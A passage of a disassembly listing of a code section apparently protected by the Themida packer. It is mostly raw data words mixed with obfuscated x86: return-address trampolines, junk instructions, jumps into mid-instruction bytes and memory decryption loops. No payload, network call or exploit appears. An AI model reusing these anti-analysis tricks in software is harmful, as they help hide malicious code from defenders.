		dd 9F32B04Ch, 0C8DBD03h, 95FF07D1h, 7D11DE9h, 4DCAB6BFh
		dd 0CC6E900h, 0E80000h,	5D000000h, 0EDCDED81h, 6A07D5h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BD981C3h, 0D110C5BDh, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0E99D2B78h
		dd 8D07D133h, 0D4BC7785h, 0FDBD8B07h, 9007D11Ah, 50525250h
		dd 5A310F52h, 310F5F58h, 7676BB66h, 8B50585Ah, 64F990DAh
		dd 35FFh, 9D8B0000h, 7D10871h, 258964h,	6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 9EAFC352h, 292185FFh, 0C78107D1h, 3615DDFBh,	9AF38166h
		dd 89FF6A07h, 0D11CB585h, 65B5FF07h, 6A07D11Fh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0CD9AC352h, 0C9206153h, 65BD895Fh, 0FF07D11Eh, 0D1141D95h
		dd 135E907h, 0B00000h, 5E9h, 0C33BCE00h, 70E65302h, 6071E4F9h
		dd 43DDC181h, 7DBE3B10h, 617C314Eh, 830F613Ch, 10Fh, 22B58D29h
		dd 0B60F07D1h, 6800FC8h, 29000000h, 0D123318Dh,	6BA07h
		dd 0BD8B0000h, 7D13441h, 0E8C1C18Bh, 0DBA6004h,	89441D8Dh
		dd 0D1177D85h, 0F7666107h, 0C82BF5E2h, 0BD89F860h, 7D1286Dh
		dd 8800F61h, 60000000h,	850Fh, 8B610000h, 0B1BD8BD1h, 0E907D118h
		dd 7, 18C0Fh, 8BF50000h, 0D1184985h, 8E907h, 16180000h
		dd 0A83F9EEAh, 0C083D9AAh, 835EB307h, 858900C0h, 7D110E9h
		dd 830FD03Bh, 1Bh, 58E0Fh, 66520000h, 0E95BF98Bh, 73h
		dd 6E9h, 0C0FCAD00h, 8B53A458h,	0D101918Dh, 12E807h, 24330000h
		dd 137D73DDh, 566DF238h, 34F951Ch, 762ABC28h, 1475BD8Bh
		dd 835B07D1h, 840F01E1h, 3Bh, 2D19BD23h, 0A58307D1h, 7D10191h
		dd 9D8B60FEh, 7D12E11h,	5E9858Bh, 0B36107D1h, 4995899Ch
		dd 5307D118h, 0CE9h, 0FE2D4D00h, 259B1523h, 0F2E2D1D9h
		dd 0E95BBFh, 8D000000h,	0D552A9B5h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0D763796Ah
		dd 60AE77BAh, 2800Fh, 27B10000h, 89006A61h, 0D12E3D85h
		dd 5595FF07h, 6A07D100h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 340FC356h, 0E9867927h
		dd 0Ah,	2D3F8968h, 7580E0E8h, 0DA8B829Fh, 837B9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 854C9C5Eh, 0B72E9899h, 0CADF8153h, 8303908Ah, 0BD2BFCE1h
		dd 7D121C9h, 56006AFCh,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0F529C55Dh, 9D8B91CFh, 7D11BA5h
		dd 6AC02Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D896BC3h, 7D11F89h, 0ADFCD22Bh, 0E8D1C233h
		dd 0E983D003h, 0E9F47504h, 10h,	0ECB6405Ch, 9B520805h
		dd 0E7F0D6A8h, 1FFC527Bh, 0D13E780h, 88h, 0CE8h, 0CD1DC000h
		dd 0AF92EF8Ch, 0D7A9D423h, 5FD88BB0h, 899D8B52h, 5B07D11Bh
		dd 1B51958Bh, 8D8B07D1h, 7D12D55h, 17E59D8Bh, 8B5007D1h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 73C35242h, 0F9510B3h
		dd 0BD09DEB7h, 7D12729h, 1BC5BD83h, 0F0007D1h, 2784h, 0E9950900h
		dd 0B807D12Ch, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+7D11101h]
		lea	ecx, [ebp+7D14D0Ah]
		mov	bl, 0E5h
		mov	[ebp+7D122E1h],	esi
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	[ebp+7D11769h],	eax
		cmp	dword ptr [ebp+7D11D39h], 0
		jz	loc_5D5BDD
		push	0
		push	esi
		call	sub_5D5808
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5808	proc near		; CODE XREF: Themida_:005D5800p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5D5808	endp

; ---------------------------------------------------------------------------
		dec	esi
		xor	di, 0D0C0h
		cmp	dword ptr [ebp+7D11D39h], 1
		jz	loc_5D5BF8
		push	edx
		adc	ebx, 20954BFBh
		pop	edi
		cmp	dword ptr [ebp+7D11D39h], 3
		jbe	loc_5D5BC2
		pusha
		mov	si, dx
		mov	[ebp+7D12B91h],	edx
		popa
		mov	[ebp+7D11C41h],	edx
		pusha
		jmp	loc_5D586A
; ---------------------------------------------------------------------------
		db 25h
		dd 3912DE8Eh, 2B7DFB62h, 0D20F0671h, 467C0C16h
		db 4Bh,	1Dh
; ---------------------------------------------------------------------------


loc_5D586A:				; CODE XREF: Themida_:005D5852j
		mov	cx, ds
		push	0
		push	ebp
		call	sub_5D5878
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5878	proc near		; CODE XREF: Themida_:005D5870p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5D5878	endp

; ---------------------------------------------------------------------------
		dd 7EA415E2h, 0AE007C86h, 11E95Fh, 510E0000h, 0AC3BB11Fh
		dd 9A78AAB1h, 31B470EFh, 80D42C71h, 0B58904E1h,	7D10749h
		dd 840FC90Ah, 113h, 858BBAB7h, 7D128F5h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 35C35040h, 820F2BACh
		dd 2, 85330CB3h, 7D131CDh, 0AE8h, 493E1900h, 64E5D2CCh
		dd 294910B7h, 0D1196D85h, 61605F07h, 29BF6650h,	2404898Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0C1C35545h
		dd 7E987h, 97ED0000h, 5335B7EFh, 6A006A29h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B28C353h
		dd 689B7106h, 906C6FA1h, 0BBC1B560h, 602A9BE3h,	24048161h
		dd 6FB2945Eh, 0A5BD8B57h, 5B07D11Ah, 2B1595FFh,	9D8907D1h
		dd 7D11FADh, 8589D98Bh,	7D4EA5Ah, 14E8h, 5FFFE500h, 15EFA5B7h
		dd 7254988Fh, 0C75DD342h, 49984A8Ah, 0B5858916h, 5B07D11Fh
		dd 1C8E9h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8BE3CBCDh, 0D4EA5285h, 0C7A7B707h
		dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 76969EC3h, 96E68FC3h, 0B58B5B0Eh
		dd 7D4EA56h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	31C35040h, 8BDAFD86h, 0D10C9D85h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 8C0F6B5Dh, 13h, 0EE9h, 0A6122D00h, 0DC176B94h, 995610DEh
		dd 8B93010Bh, 0D11FE9BDh, 6A068907h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 9FF7C356h
		dd 0D8D60014h, 8B0F601Dh, 5, 8F88B6BAh,	4D8D311Bh, 6107D133h
		dd 28F5858Bh, 0DEB707D1h, 96044689h, 8BDF8B60h,	0F5061C2h
		dd 582h, 0CE7ABF00h, 0F59650AAh, 0EA52B5FFh, 4E807D4h
		dd 0FF000000h, 8B001F03h, 8B6650D8h, 24448BDFh,	52BF6604h
		dd 0E9008B06h, 6, 0D36EE57Ch, 4489DB29h, 52500424h, 14E8h
		dd 9025C000h, 0C7BB1366h, 0B0E3CEC8h, 6655D5A3h, 0B074D98Eh
		dd 0D559BFAAh, 0F5B2E08h, 58585A31h, 1A159D8Bh,	858D07D1h
		dd 7D4EA5Ah, 198D0Fh, 14E90000h, 0C000000h, 9261D547h
		dd 0CF55401h, 307D3EE5h, 2A0FEE0Bh, 501BE467h, 0EBB5250h
		dd 0F29F72Ah, 89585A31h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 955E39C3h, 59BD09h, 95FF07D1h
		dd 7D12B15h, 8B5661F9h,	85C75FDFh, 7D11D39h, 3,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 60C35747h, 0AF3642A7h
		dd 0CA3B6787h, 167D9D89h, 0BD8307D1h, 7D4EA5Ah,	7840F00h
		dd 8B000000h, 1BE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D5BC2:				; CODE XREF: Themida_:005D583Aj
					; Themida_:005D5BD9j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D5BC2
		jmp	short loc_5D5C13
; ---------------------------------------------------------------------------


loc_5D5BDD:				; CODE XREF: Themida_:005D57F7j
					; Themida_:005D5BF4j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5D5BDD
		jmp	short loc_5D5C13
; ---------------------------------------------------------------------------


loc_5D5BF8:				; CODE XREF: Themida_:005D5825j
					; Themida_:005D5C0Fj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5D5BF8
		jmp	short $+2


loc_5D5C13:				; CODE XREF: Themida_:005D5BDBj
					; Themida_:005D5BF6j
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5D5C20
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5C20	proc near		; CODE XREF: Themida_:005D5C18p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5D5C20	endp

; ---------------------------------------------------------------------------
		dd 0BACC11A4h, 23F24F9Eh, 0D113599Dh, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 2FB26A7Bh, 0F381E7B7h, 5B3A5D97h, 1D39BD83h,	0F0307D1h
		dd 44985h, 0CAE38100h, 835F3E6Ch, 0D4EA5ABDh, 840F0007h
		dd 436h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 14h,	3DC35545h, 68A0Fh, 9D8B0000h, 7D1161Dh,	0AE9h
		dd 0DCCA9800h, 529E2703h, 0FFB03D41h, 0D4EA5AB5h, 0FBBF0F07h
		dd 2EB195FFh, 0BB6607D1h, 0B58B28A4h, 7D4EA4Eh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 49C35545h, 9D8BBF96h
		dd 7D11951h, 0EE9h, 0B3940E00h,	0E660C7E3h, 63DA751h, 0C7E92E43h
		dd 1000106h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0F5B53101h, 9607D10Fh, 75A646BFh
		dd 50605061h, 60310F52h, 61585A61h, 57006A96h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0EBA633F7h
		dd 0FF416DBFh, 0D4EA5AB5h, 0F19D8B07h, 6007D12Bh, 13E9h
		dd 5B445D00h, 0BDD0718Dh, 0C9000D9Bh, 3F85827Fh, 9F86B349h
		dd 0FF619DB6h, 0D131A595h, 0B99D8B07h, 8B07D11Bh, 0D4EA4EB5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0DE46E9DAh, 0B5092CDAh, 7D12E49h, 2B31858Bh
		dd 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0B58938C3h, 7D1291Dh, 0C48689h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0E8465BC3h, 0C5FEF7B3h, 8B26678Ch, 0D11F6DBDh, 51958B07h
		dd 0E907D11Bh, 10h, 5773CF67h, 69634BBCh, 0FE41F5E3h, 86D014EFh
		dd 8B04C283h, 205089D8h, 3331BD8Bh, 858D07D1h, 7D4FEE5h
		dd 2BE1BD8Bh, 868907D1h, 0B8h, 2C499D8Bh, 6A07D1h, 0FFD7F380h
		dd 0D4EA5AB5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0E40FC85Eh, 6143EF03h
		dd 0E995FF70h, 0E907D11Dh, 0Fh,	2C1F16B7h, 0AC22A18Ah
		dd 5287B46Eh, 96C88D90h, 9E86050h, 0D7000000h, 0CF65A665h
		dd 5860B981h, 665AF08Bh, 9661F28Bh, 6E8h, 6A2D2100h, 0E8FADAF4h
		dd 12h,	0D17D79BCh, 58F73D5Eh, 0C604EB55h, 0C9864532h
		dd 0CF80B535h, 0FF5B5B78h, 0D4EA5AB5h, 95FFF507h, 7D12D9Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F2C35141h
		dd 0FC57B3C8h, 893AF5D2h, 0D11FDD8Dh, 9BD8307h,	7D128h
		dd 4E840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 0A42A7AC3h, 499D89A5h, 9607D12Ch
		dd 8B96660h, 6244BBFFh,	5061370Ah, 0DE8h, 0B4D13300h, 3BC974A0h
		dd 0BD67A944h, 8B66E018h, 0BF965FDAh, 1B06C012h, 0EA5AB5FFh
		dd 6A07D4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 815A98C3h, 715AD2D3h, 3870F76h, 66000000h
		dd 95FFDF8Bh, 7D132B5h,	0B0BCB80h, 0D12821BDh, 5AB5FF07h
		dd 8B07D4EAh, 0D129E19Dh, 995FF07h, 6A07D127h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 34EEC353h, 0A2986D74h, 0E8D1A80Ch, 0Bh, 0DD60E45Eh
		dd 26A0F657h, 89B464C4h, 0D130B995h, 0BD835F07h, 7D10FC1h
		dd 5A840F02h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 1A2CC350h, 0DF8BD47Ch
		dd 2DCD9501h, 0BF0F07D1h, 25858BF9h, 6A07D11Eh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0BC75C350h, 1EADBB61h, 8B0000C6h, 0E8BB66DEh, 0CD85C7C4h
		dd 7D122h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0BCAEC351h, 0DE78166h,	13880FDBh
		dd 0E9000000h, 0Eh, 0F544374Fh,	2A17197Ch, 7AA7485Fh, 0BB662440h
		dd 0FEE9DD09h, 0BFFFFFF3h, 466BD773h, 9D89C18Bh, 7D13119h
		dd 1361858Dh, 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0FCC8E5C3h, 7354D72Dh, 34118D89h
		dd 0BB6607D1h, 50904515h, 0F03B752h, 91BF6631h,	50585AA7h
		dd 0A4BF5250h, 0F0400F0h, 0E8525031h, 0Dh, 4690456Ch, 66D65607h
		dd 41217D89h, 310F5B72h, 0CE8h,	0F6B1A000h, 2131840Ah
		dd 0F4825CADh, 585A5F32h, 0F90585Ah, 8Dh, 0E9BD8B00h, 6A07D11Ch
		dd 0CE900h, 0B0CC0000h,	207BCDB2h, 909CE2E3h, 0C9BBB897h
		dd 6A7BE623h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 858D9302h, 7D5FCFFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0CCC35040h, 5C08372h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 51C35343h
		dd 5ACEF06h, 89769CC8h,	0D12DB98Dh, 0AE907h, 2FF40000h
		dd 863B23E4h, 5F6EB957h, 50525050h, 11E852h, 0EC2E0000h
		dd 7F36129Dh, 0FC6C31E9h, 6757D411h, 5F48EC4Bh,	0D88B310Fh
		dd 310F585Ah, 7E960h, 0CFE80000h, 0B20379CAh, 860F2Eh
		dd 61000000h, 489585Ah,	9D2B6024h, 7D10F21h, 61AAC380h
		dd 0B589006Ah, 7D13069h, 9D89006Ah, 7D12771h, 1DE195FFh
		dd 6A07D1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 64FBCBC3h, 33F2AE7Dh, 0D9B70FB3h,	9E9EBB66h
		dd 0D5668D8Dh, 6A07D4h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 4945B7C3h, 99E6D8B9h, 0B3D1FFBBh
		dd 0D8B70FA7h, 1715BD83h, 0F0107D1h, 9485h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 4E03F535h, 0D707FD75h, 2A99BD8Bh, 665607D1h,	6A5BFA8Bh
		dd 55006A02h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 698791BFh, 2BFDBD89h, 605107D1h,	1F59D8Bh
		dd 5F6107D1h, 12E850h, 907B0000h, 0BD48D5FCh, 0B0301CC3h
		dd 0C79F6096h, 3B922FCh, 895BFA8Ah, 0BD892404h,	7D10219h
		dd 1C19D33h, 95FF07D1h,	7D11DE9h, 3E78166h, 0CC2E97Dh
		dd 0E80000h, 5D000000h,	0FD09ED81h, 6A07D5h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0FC50B3C3h
		dd 0E9709E15h, 0Eh, 0E68593A2h,	4E8E15ECh, 9E93CD5Ah, 858DB7E6h
		dd 7D4BC77h, 0C6BB6650h, 24048916h, 0B07AE781h,	0FF643147h
		dd 35h,	51006A00h, 3E8h, 0C3592000h, 244C8959h,	24448104h
		dd 1B04h, 0C3514100h, 0D4011236h, 4E8F9BC7h, 2299589h
		dd 896407D1h, 25h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0F44C267h, 68Ch, 919D8B00h
		dd 0FF07D120h, 0D1292185h, 0A99D8B07h, 6A07D11Ch, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 7A3ACEE1h, 0A10FAB65h, 0B5FF436Dh, 7D1306Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 37C35141h
		dd 8E960h, 4D2F0000h, 43376465h, 95FF8369h, 7D1141Dh, 14BE9h
		dd 7FBB5300h, 5F7BE715h, 0F98B00B0h, 0FE870E6h,	75000000h
		dd 13E63261h, 0D449963Bh, 564D06CFh, 0EF8058BCh, 71E45F2Fh
		dd 898D89h, 613C07D1h, 116830Fh, 5E90000h, 4C000000h, 39CC9EF9h
		dd 0B60F56B7h, 0DF8166C8h, 6BAA955h, 1000000h, 0D126FDB5h
		dd 0DEB70F07h, 0BD0BC18Bh, 7D128A9h, 0F04E8C1h,	0F766DBBFh
		dd 498589E2h, 2B07D114h, 0B99D8BC8h, 8B07D107h,	71BD89D1h
		dd 0E907D11Fh, 0C8h, 9284D781h,	8D0F0492h, 6, 27559D8Bh
		dd 858B07D1h, 8, 2EE5D1BFh, 7C08316h, 0FE9h, 0C9678500h
		dd 92FC9744h, 7BBD70EEh, 596E0BB0h, 0E900C083h,	0Ah, 0CB67D726h
		dd 37B2C23Dh, 8589D0D1h, 7D10CB9h, 830FD03Bh, 13h, 1FA58D29h
		dd 69E907D1h, 31000000h, 0D1142D85h, 8B5F5107h,	0FFFFFF8Dh
		dd 666060FFh, 8B61C78Bh, 0E18361CBh, 49840F01h,	81000000h
		dd 26F932D7h, 0FFA5833Ch, 0FEFFFFFFh, 14E9h, 3DE28A00h
		dd 6B811153h, 0E1EE0562h, 0E93EB987h, 0E7FABF82h, 41BD0965h
		dd 8907D124h, 895h, 0A9B58900h,	0F07D12Bh, 687h, 0DDBD8900h
		dd 0E907D10Eh, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+7D571CDh]
		and	ebx, 346C44C0h
		push	0
		mov	[ebp+7D13241h],	edx
		call	dword ptr [ebp+7D10055h]
		push	0
		push	eax
		call	sub_5D65D5
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D65D5	proc near		; CODE XREF: Themida_:005D65CDp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_5D65D5	endp

; ---------------------------------------------------------------------------
		lodsb
		dec	ebp
		xchg	eax, esp
		enter	0FFFFF215h, 0C8h
		mov	bl, 57h
		cld
		push	ecx
		pop	edi
		cld
		mov	ecx, 0FB4h
		or	ebx, [ebp+7D13431h]
		jmp	loc_5D6614
; ---------------------------------------------------------------------------
		dw 0B46Ah
		dd 3B69CB23h, 733714A4h, 6051E9DFh, 460F580h
; ---------------------------------------------------------------------------


loc_5D6614:				; CODE XREF: Themida_:005D65FDj
		and	ecx, 0FFFFFFFCh
		jnz	loc_5D6631
		jmp	loc_5D6631
; ---------------------------------------------------------------------------
		dw 46B7h
		dd 7BB25E8Ch, 0CE7D447Fh, 89B4887Eh
		db 83h
; ---------------------------------------------------------------------------


loc_5D6631:				; CODE XREF: Themida_:005D6617j
					; Themida_:005D661Dj
		mov	bl, dl
		cld
		or	di, 0E297h
		mov	eax, 0
		push	0
		push	esi
		call	sub_5D6649
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6649	proc near		; CODE XREF: Themida_:005D6641p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5D6649	endp

; ---------------------------------------------------------------------------
		dec	edi
		pop	edi
		xchg	edx, [edi-77h]
		mov	ebp, 7D13165h
		pusha
		mov	[ebp+7D12475h],	edi
		call	sub_5D667F
		fbstp	tbyte ptr [ecx-1BD40505h]
		lahf
		cmp	eax, edx
		shl	ah, 1
		mov	ds:7AAA2B60h, al

; =============== S U B	R O U T	I N E =======================================



sub_5D667F	proc near		; CODE XREF: Themida_:005D666Ap
					; Themida_:005D66B8j
		mov	ecx, [ebp+7D126B5h]
		pop	edx
		popa
		sub	edx, edx
		mov	ebx, 46B06FBDh


loc_5D668E:				; CODE XREF: sub_5D667F+19j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D668E
		push	0
		push	ebp
		call	sub_5D66A5
		and	[ebp-3Dh], bl
sub_5D667F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D66A5	proc near		; CODE XREF: sub_5D667F+1Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5D66A5	endp

; ---------------------------------------------------------------------------
		db 24h,	0A1h, 0F4h
; ---------------------------------------------------------------------------
		jmp	short sub_5D667F
; ---------------------------------------------------------------------------
		xlat
		mov	esp, 0E9B531CBh
		sbb	ecx, edx
		pop	es
		jns	loc_5D66CB
		mov	bl, 45h


loc_5D66CB:				; CODE XREF: Themida_:005D66C3j
		mov	edi, 27B99113h
		or	eax, 88h
		movsx	edi, bx
		mov	edx, [ebp+7D11B51h]
		push	0
		push	eax
		call	sub_5D66E9
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D66E9	proc near		; CODE XREF: Themida_:005D66E1p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D66E9	endp

; ---------------------------------------------------------------------------
		db 73h,	0CFh, 0AFh
; ---------------------------------------------------------------------------
		push	es
		sub	eax, 8913CA89h
		mov	ch, 0EDh
		and	eax, 8BF507D1h
		lea	edx, [ebp+2Dh]
		rol	dword ptr [edi], 1
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		jmp	loc_5D6736
; ---------------------------------------------------------------------------
		db 95h,	3Fh, 59h
		dd 0EB96DDD9h, 6EF41E8Fh, 91062B2Ch
		db 0E8h, 54h
; ---------------------------------------------------------------------------


loc_5D6736:				; CODE XREF: Themida_:005D6720j
		call	near ptr loc_5D6742+2
		inc	ebp
		clc
		jno	short loc_5D6794
		fidiv	dword ptr [ecx+7]


loc_5D6742:				; CODE XREF: Themida_:loc_5D6736p
		fist	dword ptr [edi+66h]
		xor	ebx, 835B3100h
		mov	ebp, 7D11BC5h
		add	[edi], cl
		test	[eax+eax+0], ah
		add	[ecx], ch
		mov	ebp, 7D125A5h
		mov	eax, 0
		push	0
		push	eax
		call	sub_5D676D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D676D	proc near		; CODE XREF: Themida_:005D6765p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5D676D	endp

; ---------------------------------------------------------------------------
		db 7Ah,	0Ah, 70h
; ---------------------------------------------------------------------------
		fld	dword ptr [eax-72726B39h]
		or	cl, [ebp-2Fh]
		pop	es
		mov	ebx, [ebp+7D12039h]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0


loc_5D6794:				; CODE XREF: Themida_:005D673Dj
		push	edi
		call	sub_5D679D
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D679D	proc near		; CODE XREF: Themida_:005D6795p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5D679D	endp

; ---------------------------------------------------------------------------
		sal	byte ptr [ebx-0Ah], 94h
		pusha
		adc	ah, 8Ah
		and	cx, 0D35Ch
		popa
		cmp	dword ptr [ebp+7D11D39h], 0
		jz	loc_5D6BC5
		push	0
		push	ecx
		call	sub_5D67D3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D67D3	proc near		; CODE XREF: Themida_:005D67CBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5D67D3	endp

; ---------------------------------------------------------------------------
		and	dh, bh
		ja	short locret_5D684C
		push	es
		sub	[ebp+7D107C9h],	ecx
		cmp	dword ptr [ebp+7D11D39h], 1
		jz	loc_5D6BE0
		movsx	edi, cx
		cmp	dword ptr [ebp+7D11D39h], 3
		jbe	loc_5D6BAA
		push	0
		push	esi
		call	sub_5D6816
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6816	proc near		; CODE XREF: Themida_:005D680Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5D6816	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		retf
; ---------------------------------------------------------------------------
		stc
		mov	ebx, ecx
		pusha
		movzx	edi, ax
		mov	cx, ds
		push	0
		push	edx
		call	sub_5D683D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D683D	proc near		; CODE XREF: Themida_:005D6835p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx

locret_5D684C:				; CODE XREF: Themida_:005D67E5j
		retn
sub_5D683D	endp

; ---------------------------------------------------------------------------
		or	ecx, ebp
		push	ecx
		mov	bx, 0B1Fh
		pop	ebx
		and	cl, 4
		add	[ebp+7D10019h],	eax
		or	cl, cl
		jz	loc_5D69EF
		push	0
		push	ebx
		call	sub_5D6871
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6871	proc near		; CODE XREF: Themida_:005D6869p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h


